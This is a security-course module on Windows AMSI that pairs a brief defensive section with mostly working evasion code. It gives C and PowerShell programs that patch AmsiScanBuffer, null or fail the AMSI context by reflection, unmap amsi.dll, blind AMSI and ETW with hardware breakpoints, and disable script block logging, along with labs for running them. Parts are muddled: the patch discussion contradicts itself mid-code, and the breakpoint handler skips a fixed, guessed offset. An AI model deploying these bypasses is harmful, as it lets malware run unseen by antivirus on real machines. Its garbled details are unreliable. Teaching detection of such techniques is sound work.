Module 11: AMSI — The Antimalware Scan Interface LIVE TESTED

Module 11 of 22 — Understanding, bypassing, and defending AMSI

🧠 The Core Truth

AMSI is the gatekeeper between scripting engines and antivirus engines. Every PowerShell command, every VBA macro, every .NET assembly passes through AMSI before execution. If AMSI says "malicious," the script dies before a single line runs.

Why this matters: If you can blind or bypass AMSI, you can execute any script payload without Defender ever seeing it. But if you are blue team, understanding AMSI bypass techniques is the first step to detecting them.

📋 Table of Contents

1. AMSI Architecture

AMSI (Antimalware Scan Interface) was introduced in Windows 10 as a unified interface for applications and services to integrate with any antimalware product registered on the system. It lives in C:\Windows\System32\amsi.dll and is loaded into every process that calls it.

┌─────────────────────────────────────────────────────────────────────┐ │ APPLICATION LAYER │ │ PowerShell │ VBA │ JavaScript │ .NET │ WMI │ Office Macros │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ AMSI INTERFACE │ │ AmsiInitialize() │ AmsiOpenSession() │ AmsiScanBuffer() │ │ AmsiScanString() │ AmsiCloseSession() │ AmsiUninitialize() │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ PROVIDER LAYER │ │ Windows Defender │ McAfee │ Symantec │ CrowdStrike │ Custom AV │ │ (registered as IAntimalwareProvider COM interface) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ DECISION │ │ AMSI_RESULT_CLEAN (1) │ AMSI_RESULT_NOT_DETECTED (0) │ │ AMSI_RESULT_BLOCKED (2048) │ AMSI_RESULT_DETECTED (32768) │ └─────────────────────────────────────────────────────────────────────┘

The key insight: AMSI is a client-side API. It runs inside your process. That means your code has the same memory access as AMSI itself. You can read it, patch it, or blind it — all from within the same process boundary.

💡 Layman's Terms

Think of AMSI like a security guard at the entrance of a building. Every person (script) must pass through the guard before entering. The guard checks their ID against a watchlist. But the guard works inside the building — not in a separate fortress. If you can reach the guard's desk, you can swap the watchlist, blindfold the guard, or make the guard always say "all clear."

🎖️ Mentor Note — asi dev [HTB]

"AMSI is just a scanner in memory."

💡 In Plain English

AMSI isn't a magic wall around your script. It's a function loaded into the same process memory as your code. A scanner in memory can be inspected, modified, or silenced by anything else running in that same memory space — including your payload.

🎯 Red / Blue Relevance

Red: Treat AMSI as a memory target, not an impenetrable gate. Patching, unloading, or blinding it are all viable because it lives in-process. Blue: Memory integrity monitoring and behavioral detection matter more than trusting AMSI's verdict, since an attacker with code execution can manipulate the scanner itself.

Understanding PowerShell execution flow is essential before attacking AMSI. Module 03 covers execution policy, constrained language mode, and AppLocker.

2. AmsiScanBuffer Deep Dive

AmsiScanBuffer is the heart of AMSI. It takes a buffer of bytes (your script), sends it to the registered AV provider, and returns a result. If the result is AMSI_RESULT_DETECTED (32768), the script is blocked before execution.

Function Signature

HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, // Handle from AmsiInitialize LPVOID buffer, // The script content to scan ULONG length, // Length of the buffer LPCWSTR contentName, // Descriptive name (e.g., script path) HAMSISESSION amsiSession, // Session handle from AmsiOpenSession AMSI_RESULT *result // OUT: scan result );

Return Values

ConstantValueMeaning
AMSI_RESULT_NOT_DETECTED0Provider did not detect anything (but scan may be incomplete)
AMSI_RESULT_CLEAN1Content is clean — safe to execute
AMSI_RESULT_BLOCKED2048 (0x800)Content is blocked by admin policy
AMSI_RESULT_DETECTED32768 (0x8000)Content is detected as malicious

The classic patch bypass targets the start of AmsiScanBuffer and overwrites it with assembly that immediately returns AMSI_RESULT_CLEAN:

// Original AmsiScanBuffer prologue (x64): // mov r11, [rsp+8] // mov [rsp+10], rbx // ... // Patch bytes (forces return 1 = AMSI_RESULT_CLEAN): // mov eax, 0x7D57 // 0xB8 0x57 0x00 0x07 0x80 // ret // 0xC3 // nop // 0x90 // nop // 0x90 // nop // 0x90 // nop // 0x90 // nop // 0x90 // Full patch: 0xB8 0x57 0x00 0x07 0x80 0xC3 // Wait — actually the classic patch is: // mov eax, 0x80070057 // HRESULT for invalid parameter // ret // But the working bypass patch is: unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057 (E_INVALIDARG) // ret // This causes AmsiScanBuffer to return an error HRESULT // PowerShell interprets error as "scan failed, allow anyway"
⚠️ Critical Note

The patch bytes above return E_INVALIDARG (0x80070057), not AMSI_RESULT_CLEAN. PowerShell's error handling treats a failed AMSI scan as "allow execution" rather than blocking. This is a subtle but important distinction — you are not faking "clean," you are causing the scan to error out.

🎖️ Mentor Note — asi dev [HTB]

"If you can patch memory, you can bypass AMSI."

💡 In Plain English

Once you have the ability to write to a process's memory, AMSI becomes just another function to edit. Change a few bytes at the start of AmsiScanBuffer so it always returns "clean," and the scanner becomes a rubber stamp.

🎯 Red / Blue Relevance

Red: Memory patching is reliable but noisy; pair it with injection or obfuscation to avoid detection. Blue: Monitor for VirtualProtect calls making AMSI memory writable/executable, and alert on in-memory DLL hashes that no longer match disk.

// Better patch — actually return AMSI_RESULT_CLEAN (1): unsigned char patch_clean[] = { 0xB8, 0x01, 0x00, 0x00, 0x00, // mov eax, 1 0xC3 // ret }; // This truly returns AMSI_RESULT_CLEAN
3. AmsiInitialize & Session Context

Before any scanning can happen, the application must initialize an AMSI context and optionally open a session. Understanding this lifecycle is critical for both offense and defense.

AMSI Lifecycle

Application Start │ ▼ AmsiInitialize(L"MyApp", &hContext) ←─ Creates AMSI context │ ▼ AmsiOpenSession(hContext, &hSession) ←─ Optional: per-session tracking │ ▼ [ Loop: AmsiScanBuffer() or AmsiScanString() ] │ ▼ AmsiCloseSession(hContext, hSession) ←─ Close session │ ▼ AmsiUninitialize(hContext) ←─ Cleanup

AmsiInitialize

HRESULT AmsiInitialize( LPCWSTR appName, // Name of the application HAMSICONTEXT *amsiContext // OUT: context handle ); // PowerShell calls this during startup // appName = L"PowerShell_C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"

The appName parameter is logged by AMSI providers. If you see AmsiInitialize called from an unexpected process (e.g., notepad.exe), that's a red flag for EDR.

Session Tracking

AMSI sessions allow providers to correlate multiple scans. For example, PowerShell opens a session when it starts and scans every command through that session. If one command is flagged, the provider can see the full session history.

// PowerShell's internal AMSI integration (simplified): AmsiInitialize(L"PowerShell", &hContext); AmsiOpenSession(hContext, &hSession); // For every command entered: AmsiScanBuffer(hContext, commandBytes, length, L"PowerShell", hSession, &result); if (result >= AMSI_RESULT_DETECTED) { // Block execution throw new Exception("This script contains malicious content..."); }
🎯 Why This Matters

Some bypass techniques target AmsiInitialize instead of AmsiScanBuffer. If you corrupt the context handle or cause AmsiInitialize to fail, all subsequent AMSI calls fail silently — and the application typically allows execution when AMSI is "unavailable."

4. In-Memory Patching

In-memory patching is the original AMSI bypass technique. It works by locating AmsiScanBuffer in memory and overwriting its first few bytes with a return instruction. This is the most straightforward but also the most detectable bypass.

Step-by-Step: Classic Patch

Step 1: Locate amsi.dll in memory

HMODULE hAmsi = GetModuleHandleA("amsi.dll"); if (!hAmsi) { hAmsi = LoadLibraryA("amsi.dll"); }

Step 2: Get AmsiScanBuffer address

FARPROC pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer"); printf("[+] AmsiScanBuffer at %p\n", pAmsiScanBuffer);

Step 3: Change memory protection to RWX

DWORD oldProtect; VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);

Step 4: Write patch bytes

// Patch: mov eax, 0x1; ret unsigned char patch[] = { 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 }; memcpy(pAmsiScanBuffer, patch, sizeof(patch));

Step 5: Restore protection

VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);

Complete C Implementation

#include #include int main() { HMODULE hAmsi = GetModuleHandleA("amsi.dll"); if (!hAmsi) hAmsi = LoadLibraryA("amsi.dll"); FARPROC pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer"); printf("[+] AmsiScanBuffer at %p\n", pAmsiScanBuffer); DWORD oldProtect; VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect); // mov eax, 1; ret unsigned char patch[] = { 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 }; memcpy(pAmsiScanBuffer, patch, sizeof(patch)); VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect); printf("[+] AMSI patched!\n"); return 0; }

🔍 Detection Artifacts

Patching leaves clear forensic traces:

  • Memory integrity violations: EDR monitors for code-section modifications in loaded DLLs
  • ETW events: VirtualProtect with PAGE_EXECUTE_READWRITE on amsi.dll is logged
  • Hash mismatch: The in-memory amsi.dll no longer matches the on-disk hash
  • Behavioral: AmsiScanBuffer returning clean for known-bad signatures is an anomaly

The patch technique is often delivered via process injection. Module 10 covers DLL injection, APC injection, and thread hijacking — all vectors for deploying AMSI patches.

5. Reflection-Based Bypass

Reflection-based bypasses work entirely in managed (.NET) memory, avoiding direct API calls that EDR hooks. They use .NET's reflection APIs to locate and modify internal AMSI fields without ever calling VirtualProtect or touching native code.

The Matt Graeber / Reflection Bypass

This technique locates the internal amsiContext field in PowerShell's System.Management.Automation.AmsiUtils class and sets it to null. Without a context, AMSI cannot scan.

# PowerShell reflection bypass — no native API calls $amsi = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like "*AmsiUtils" } $field = $amsi.GetFields("NonPublic,Static") | Where-Object { $_.Name -like "*amsiContext" } $field.SetValue($null, [IntPtr]::Zero) # Alternative one-liner (obfuscated): [Ref].Assembly.GetTypes() | ForEach-Object { if ($_.Name -like "*AmsiUtils") { $f = $_.GetFields("NonPublic,Static") | Where-Object { $_.Name -like "*amsiContext" }; $f.SetValue($null, [IntPtr]::Zero) } }

How It Works

PowerShell AMSI Integration: ┌─────────────────────────────────────────┐ │ System.Management.Automation.dll │ │ ├── AmsiUtils class │ │ │ ├── static IntPtr amsiContext │ │ │ ├── static IntPtr amsiSession │ │ │ └── static bool amsiInitFailed │ │ │ │ │ └── AmsiUtils.ScanContent() │ │ ├── if (amsiContext == null) │ │ │ return; // No AMSI! │ │ └── AmsiScanBuffer(amsiContext, ...)│ └─────────────────────────────────────────┘ Reflection bypass: Set amsiContext = null Result: ScanContent() returns immediately

Obfuscated Variants

Defenders have added signatures for the reflection bypass. Attackers respond with obfuscation:

# String concatenation obfuscation $a = [Ref].Assembly.GetTypes() $b = $a | Where-Object { $_.Name -like "*iUtils" } $c = $b.GetFields("NonPublic,Static") $d = $c | Where-Object { $_.Name -like "*Context" } $d.SetValue($null, $null) # Using reflection on reflection $g = [Reflection.Assembly]::LoadWithPartialName("System.Management.Automation") $t = $g.GetTypes() | Where-Object { $_.FullName -like "*Amsi*" } $f = $t.GetField("amsiContext", [Reflection.BindingFlags]::NonPublic -bor [Reflection.BindingFlags]::Static) $f.SetValue($null, [IntPtr]::Zero)
⚠️ Detection Risk

Modern AMSI itself scans the reflection bypass code before it executes! This creates a chicken-and-egg problem. Attackers use:

  • Base64 encoding (but AMSI decodes before scanning)
  • XOR encryption with runtime decryption
  • Character-by-character string reconstruction
  • Invoking via WMI or COM to avoid PowerShell's built-in scanner
6. DLL Unload Technique

If you can't patch AMSI and can't reflect it away, why not simply unload the DLL from the process? This technique forces amsi.dll out of the process address space, causing all subsequent AMSI calls to fail.

Theory

Windows tracks DLL load counts via LoadLibrary / FreeLibrary. If the reference count drops to zero, the DLL is unloaded. However, amsi.dll is loaded by the CLR or PowerShell engine with a high reference count, so simple FreeLibrary won't work.

Forced Unload via NtUnmapViewOfSection

#include #include typedef NTSTATUS (WINAPI *pNtUnmapViewOfSection)(HANDLE, PVOID); int main() { HMODULE hAmsi = GetModuleHandleA("amsi.dll"); if (!hAmsi) { printf("[-] amsi.dll not loaded\n"); return 1; } printf("[+] amsi.dll at %p\n", hAmsi); // Get NtUnmapViewOfSection from ntdll pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress( GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection" ); // Unmap amsi.dll from current process NTSTATUS status = NtUnmapViewOfSection( GetCurrentProcess(), hAmsi ); if (NT_SUCCESS(status)) { printf("[+] amsi.dll unmapped!\n"); } else { printf("[-] Failed: 0x%08X\n", status); } return 0; }
🎯 Why This Works

Once amsi.dll is unmapped, any call to AmsiScanBuffer dereferences a pointer to freed memory. The application typically catches this as an access violation and either crashes or falls back to "allow execution" mode. In PowerShell, this manifests as a crash or a graceful fallback depending on the .NET exception handling.

PowerShell Variant

# PowerShell DLL unload via reflection $Kernel32 = Add-Type -MemberDefinition @" [DllImport("kernel32.dll")] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32.dll")] public static extern bool FreeLibrary(IntPtr hLibModule); "@ -Name "Kernel32" -PassThru $hAmsi = $Kernel32::GetModuleHandle("amsi.dll") Write-Host "[+] amsi.dll handle: $hAmsi" # FreeLibrary multiple times to drop ref count for ($i = 0; $i -lt 100; $i++) { $Kernel32::FreeLibrary($hAmsi) | Out-Null } Write-Host "[+] amsi.dll reference count should be zero"

🔍 Detection Artifacts

  • Module unload events: EDR logs DLL unloads, especially for security-critical DLLs
  • Crash correlation: Process crashes shortly after amsi.dll unload are suspicious
  • Memory gaps: Memory maps showing removed modules in the expected AMSI address range
  • ETW: Microsoft-Windows-Kernel-Process events log image unloads
7. PowerShell Bypass Techniques

PowerShell is the primary vector for AMSI bypass research because it's the most common attack surface. Over the years, the community has developed dozens of techniques. Here are the most significant, categorized by approach.

1. Memory Patching EASY

Patch AmsiScanBuffer in-memory. Most detectable but most reliable. Works in full language mode.

$Win32 = Add-Type -MemberDefinition @" [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); "@ -Name "Win32" -PassThru $addr = $Win32::GetProcAddress($Win32::GetModuleHandle("amsi.dll"), "AmsiScanBuffer") $p = 0 $Win32::VirtualProtect($addr, [UIntPtr]::new(5), 0x40, [ref]$p) | Out-Null $patch = [Byte[]] (0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3) [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6)

2. Reflection Nulling EASY

Set internal AMSI context to null via reflection. No native API calls. Often signatured by AMSI itself.

[Ref].Assembly.GetTypes() | ForEach-Object { if ($_.Name -like "*AmsiUtils") { $f = $_.GetFields("NonPublic,Static") | Where-Object { $_.Name -like "*amsiContext" } $f.SetValue($null, [IntPtr]::Zero) } }

3. AMSI Init Failed MEDIUM

Set the internal amsiInitFailed flag to true. PowerShell thinks AMSI failed to initialize and skips scanning.

$amsi = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -eq "AmsiUtils" } $field = $amsi.GetField("amsiInitFailed", "NonPublic,Static") $field.SetValue($null, $true)

4. Force Error Mode MEDIUM

Corrupt AMSI context so subsequent calls error out. PowerShell treats errors as "allow."

# Corrupt the AMSI context pointer $ctx = $amsi.GetFields("NonPublic,Static") | ?{$_.Name -like "*Context"} $ctx.SetValue($null, [IntPtr]::new(0x41414141))

5. Disable Script Logging MEDIUM

Even with AMSI bypassed, script block logging records everything. Disable it too.

# Disable Script Block Logging $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings", "NonPublic,Static") $policy = $settings.GetValue($null) $policy["ScriptBlockLogging"] = @{"EnableScriptBlockLogging" = 0}

6. Invoke-Obfuscation MEDIUM

Obfuscate the bypass itself so AMSI can't detect it before it runs. Token-based, string-based, or encoding-based.

# Example: token obfuscation & ("{0}{1}" -f 'Get-','Process') | Select-Object -First 1 # AMSI sees: Get-Process
Historical Note: The original AMSI bypass was discovered by Matt Graeber in 2016. Microsoft patched it. Then researchers found 10 more. Microsoft patched those. The cycle continues. AMSI is a cat-and-mouse game — the key insight is that because AMSI is client-side, it can never be fully secure against a determined attacker with admin/code-execution rights.

🎖️ Mentor Note — asi dev [HTB]

"Script blocking is not execution blocking."

💡 In Plain English

Stopping a script from running is not the same as stopping the attacker. If AMSI blocks one PowerShell command, the attacker can patch AMSI, run from a different process, or use a compiled binary. The real battle is over execution and persistence, not whether a specific script was allowed.

🎯 Red / Blue Relevance

Red: Don't rely on a single script — have fallback execution methods ready if AMSI kills your initial payload. Blue: A block event is a detection, not a victory. Investigate what happened before and after the block, and assume the attacker will try again with a different technique.

8. Hardware Breakpoint Bypass (Zero-Write)

The hardware breakpoint (HWBP) technique is the most advanced AMSI bypass. It uses CPU debug registers — no memory patches, no DLL unloads, no reflection. Zero writes to executable memory. EDR memory integrity checks pass completely.

CPU Debug Registers

RegisterPurpose
DR0Breakpoint address 1
DR1Breakpoint address 2
DR2Breakpoint address 3
DR3Breakpoint address 4
DR6Status register (which breakpoint fired)
DR7Control register (enable/disable, conditions)

The Dark Room Technique

Normal path (no bypass): PowerShell → AmsiScanBuffer(0x...8160) → scans string → EDR blocks HWBP bypass path: 1. Set DR0 = address of AmsiScanBuffer 2. Set DR7 = 0x405 (enable DR0 execute breakpoint) 3. Register VEH handler 4. PowerShell → CPU hits DR0 → fires EXCEPTION_SINGLE_STEP 5. VEH handler fires BEFORE AmsiScanBuffer executes 6. Handler modifies CONTEXT.Rax = AMSI_RESULT_CLEAN (1) 7. Handler skips past AmsiScanBuffer → returns 1 to caller 8. Defender engine sees: CLEAN → allows execution Memory writes: ZERO. Nothing patched. EDR memory integrity check: PASS.

Implementation

#include #include #define AMSI_RESULT_CLEAN 1 typedef LONG (WINAPI *pNtContinue)(PCONTEXT, BOOL); LONG WINAPI VehHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { // Check if we hit AmsiScanBuffer HMODULE hAmsi = GetModuleHandleA("amsi.dll"); FARPROC pAmsi = GetProcAddress(hAmsi, "AmsiScanBuffer"); if (ExceptionInfo->ContextRecord->Rip == (DWORD64)pAmsi) { // Fake clean result ExceptionInfo->ContextRecord->Rax = AMSI_RESULT_CLEAN; // Skip past AmsiScanBuffer (advance RIP) ExceptionInfo->ContextRecord->Rip += 0x100; // Adjust as needed return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } int main() { HMODULE hAmsi = GetModuleHandleA("amsi.dll"); FARPROC pAmsi = GetProcAddress(hAmsi, "AmsiScanBuffer"); printf("[+] AmsiScanBuffer at %p\n", pAmsi); // Register VEH AddVectoredExceptionHandler(1, VehHandler); // Set hardware breakpoint CONTEXT ctx = {0}; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; ctx.Dr0 = (DWORD64)pAmsi; // Breakpoint address ctx.Dr7 = 0x405; // Enable DR0, local, execute SetThreadContext(GetCurrentThread(), &ctx); printf("[+] DARK ROOM ACTIVE\n"); printf("[+] AMSI blinded via hardware breakpoint\n"); // Now run PowerShell or any AMSI-scanned content // AmsiScanBuffer will never actually execute return 0; }

ETW Blinding (Bonus)

The same technique can blind ETW by setting DR1 to EtwEventWrite:

// Dual-blind: AMSI + ETW HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); FARPROC pEtw = GetProcAddress(hNtdll, "EtwEventWrite"); ctx.Dr1 = (DWORD64)pEtw; // DR1 = EtwEventWrite ctx.Dr7 = 0x405 | 0x400; // Enable DR0 + DR1 // VEH handler catches both: // DR0 hit → fake AMSI result // DR1 hit → skip EtwEventWrite → event never reaches EDR

🔍 Detection Challenges

HWBP bypasses are notoriously difficult to detect because:

  • No memory modifications: EDR memory integrity checks find nothing
  • No API hooks: The function is never called, so API hooking doesn't help
  • Legitimate use: Debuggers use HWBPs constantly — hard to distinguish malicious from benign
  • Thread-local: HWBPs are per-thread; you must inspect every thread's context

Possible detection vectors:

  • Enumerate all thread contexts and check DR7 for enabled breakpoints on AMSI/ETW addresses
  • Detect VEH registration via AddVectoredExceptionHandler in non-debugger processes
  • Behavioral: processes that set HWBPs but never attach a debugger

HWBP is just one of many EDR evasion techniques. Module 13 covers unhooking, direct syscalls, callback tampering, and more.

9. Detection & Defense

Blue teamers must understand AMSI bypass techniques to detect them. This section covers defensive strategies, detection signatures, and hardening recommendations.

1. Memory Integrity Monitoring

EDR solutions should periodically hash critical DLLs in memory and compare to on-disk versions. Any mismatch indicates tampering.

# Pseudo-code for EDR memory integrity check for each loaded_module in process.modules: if loaded_module.name == "amsi.dll": disk_hash = hash_file("C:\Windows\System32\amsi.dll") mem_hash = hash_memory_region(loaded_module.base, loaded_module.size) if disk_hash != mem_hash: alert("AMSI TAMPERING DETECTED")

2. API Hooking on VirtualProtect

Monitor VirtualProtect calls that change AMSI memory to RWX. This catches the classic patch technique.

// EDR hook on VirtualProtect BOOL Hooked_VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) { if (flNewProtect == PAGE_EXECUTE_READWRITE) { HMODULE hAmsi = GetModuleHandleA("amsi.dll"); if (hAmsi && lpAddress >= hAmsi && lpAddress < (hAmsi + module_size)) { alert("AMSI MEMORY PROTECTION CHANGE: RWX on amsi.dll"); } } return Real_VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldProtect); }

3. Behavioral Detection

Even if the bypass succeeds, the post-bypass behavior is often suspicious:

  • PowerShell spawning child processes (especially cmd.exe, powershell.exe)
  • Network connections from PowerShell processes
  • Base64-encoded commands executed after AMSI bypass
  • Reflection API calls from non-administrative scripts

4. AMSI Itself as Detector

Ironically, AMSI can scan the bypass code if you can get it to run before the bypass executes. This is why obfuscation is critical for attackers.

# AMSI scans this string before execution: # "[Ref].Assembly.GetTypes() | Where-Object { $_.Name -like '*AmsiUtils' }" # If AMSI has a signature for this pattern, it blocks the bypass itself!

5. Constrained Language Mode

The most effective defense is Constrained Language Mode (CLM). In CLM, PowerShell restricts access to .NET types that enable reflection bypasses:

# Check current language mode $ExecutionContext.SessionState.LanguageMode # Values: # FullLanguage - Everything allowed (dangerous) # ConstrainedLanguage - .NET type restrictions apply # NoLanguage - Commands only, no scripting # RestrictedLanguage - Minimal subset # Enable via AppLocker / WDAC policy

6. Windows Defender Application Control (WDAC)

WDAC (formerly Code Integrity) allows you to define exactly what code can run. If your bypass binary isn't signed and approved, it won't execute regardless of AMSI status.

Module 12 covers EDR testing, purple team validation, and verifying that your defensive controls actually work against real attacks.

10. Hands-On Labs

Lab 1: Verify AMSI Is Active

# Test 1: AMSI should block this known-bad string PS> "amsiutils" # If blocked: "This script contains malicious content and has been blocked..." # If allowed: AMSI is already bypassed or disabled # Test 2: Check AMSI response to benign content PS> "hello world" # Should always pass

Lab 2: Classic Patch Bypass

# Compile the C patch code from Section 4 # Inject into PowerShell process or run as standalone # Then test with "amsiutils" — should print instead of block # Verify with Process Hacker: # 1. Find powershell.exe # 2. Properties → Memory → Modules → amsi.dll # 3. Check memory protection of .text section # 4. Disassemble AmsiScanBuffer — should show mov eax, 1; ret

Lab 3: Reflection Bypass

# Run the reflection bypass from Section 5 # Then verify AMSI is dead: PS> [System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("QW1zaVNjYW5CdWZmZXI=")) # Should print "AmsiScanBuffer" instead of blocking # Check with: PS> [System.Management.Automation.AmsiUtils]::amsiContext # Should be null or zero

Lab 4: Hardware Breakpoint (Dark Room)

# Compile the HWBP code from Section 8 # Run as administrator (debug privileges may be required) # Attach to PowerShell or spawn a new PowerShell process # Test AMSI — should be blind # Verify with WinDbg: # 1. Attach to target process # 2. r dr0, dr1, dr7 # 3. Should show AmsiScanBuffer address in DR0 # 4. Should show EtwEventWrite address in DR1 (if dual-blind)

Lab 5: Blue Team Detection

# As a defender, detect the patch: # 1. Use Sysmon Event ID 10 (ProcessAccess) to detect OpenProcess on PowerShell # 2. Use Sysmon Event ID 25 (ProcessTampering) for remote thread creation # 3. Use ETW Microsoft-Windows-Threat-Intelligence for memory allocation events # 4. Check Windows Event Log for PowerShell block events (Event ID 4104) # Expected: After bypass, Event ID 4104 (script block logging) may still fire # but Event ID 1116 (Defender detection) will not
Iron Sun — AMSI/ETW Bypass Demo
11. Knowledge Checks

Quiz 1: AMSI Architecture

Which of the following is the correct order of the AMSI scanning pipeline?

A. Provider → AmsiScanBuffer → Application → Decision
B. Application → AmsiScanBuffer → Provider → Decision
C. Decision → Provider → AmsiScanBuffer → Application
D. AmsiScanBuffer → Application → Provider → Decision

Quiz 2: Bypass Techniques

Which AMSI bypass technique leaves ZERO memory artifacts and passes EDR memory integrity checks?

A. In-memory patching of AmsiScanBuffer with mov eax, 1; ret
B. Reflection-based nulling of the amsiContext field
C. Hardware breakpoint on AmsiScanBuffer with VEH handler
D. DLL unload via NtUnmapViewOfSection

Quiz 3: Defensive Detection

Which Windows feature is the MOST effective defense against reflection-based AMSI bypasses in PowerShell?

A. Real-Time Protection in Windows Defender
B. Constrained Language Mode (CLM) via AppLocker/WDAC
C. Enabling PowerShell transcription logging
D. Disabling the WinRM service
Quick Reference
AmsiScanBuffer
Core AMSI scanning function
AmsiInitialize
Creates AMSI context handle
AmsiOpenSession
Per-session tracking for providers
AMSI_RESULT_CLEAN (1)
Content is safe to execute
AMSI_RESULT_DETECTED (32768)
Content is malicious — block
0xB8 0x01 0x00 0x00 0x00 0xC3
Patch bytes: mov eax, 1; ret
DR0 = AmsiScanBuffer
HWBP address for AMSI blind
DR7 = 0x405
Enable DR0 local execute BP
AddVectoredExceptionHandler
Register VEH to catch HWBP
ConstrainedLanguage
Best defense: restrict .NET access
NtUnmapViewOfSection
Force unload amsi.dll
amsiInitFailed
Reflection target to disable AMSI
Summary & Next Steps

In this module, you learned:

  • AMSI architecture and the scanning pipeline
  • How AmsiScanBuffer works and what return values mean
  • The AMSI lifecycle: AmsiInitializeAmsiOpenSessionAmsiScanBuffer
  • Classic in-memory patching and its detection artifacts
  • Reflection-based bypasses and obfuscation techniques
  • DLL unload via NtUnmapViewOfSection
  • PowerShell-specific bypass techniques
  • Hardware breakpoint bypass — the zero-write, zero-detection technique
  • Defensive strategies: memory integrity, API hooking, CLM, WDAC

🎯 Key Takeaway

AMSI is a client-side security control. It runs in the same process as the attacker. This fundamental architectural decision means AMSI can never be fully secure against a determined adversary with code execution. The best defense is defense in depth: combine AMSI with CLM, WDAC, EDR behavioral monitoring, and network segmentation.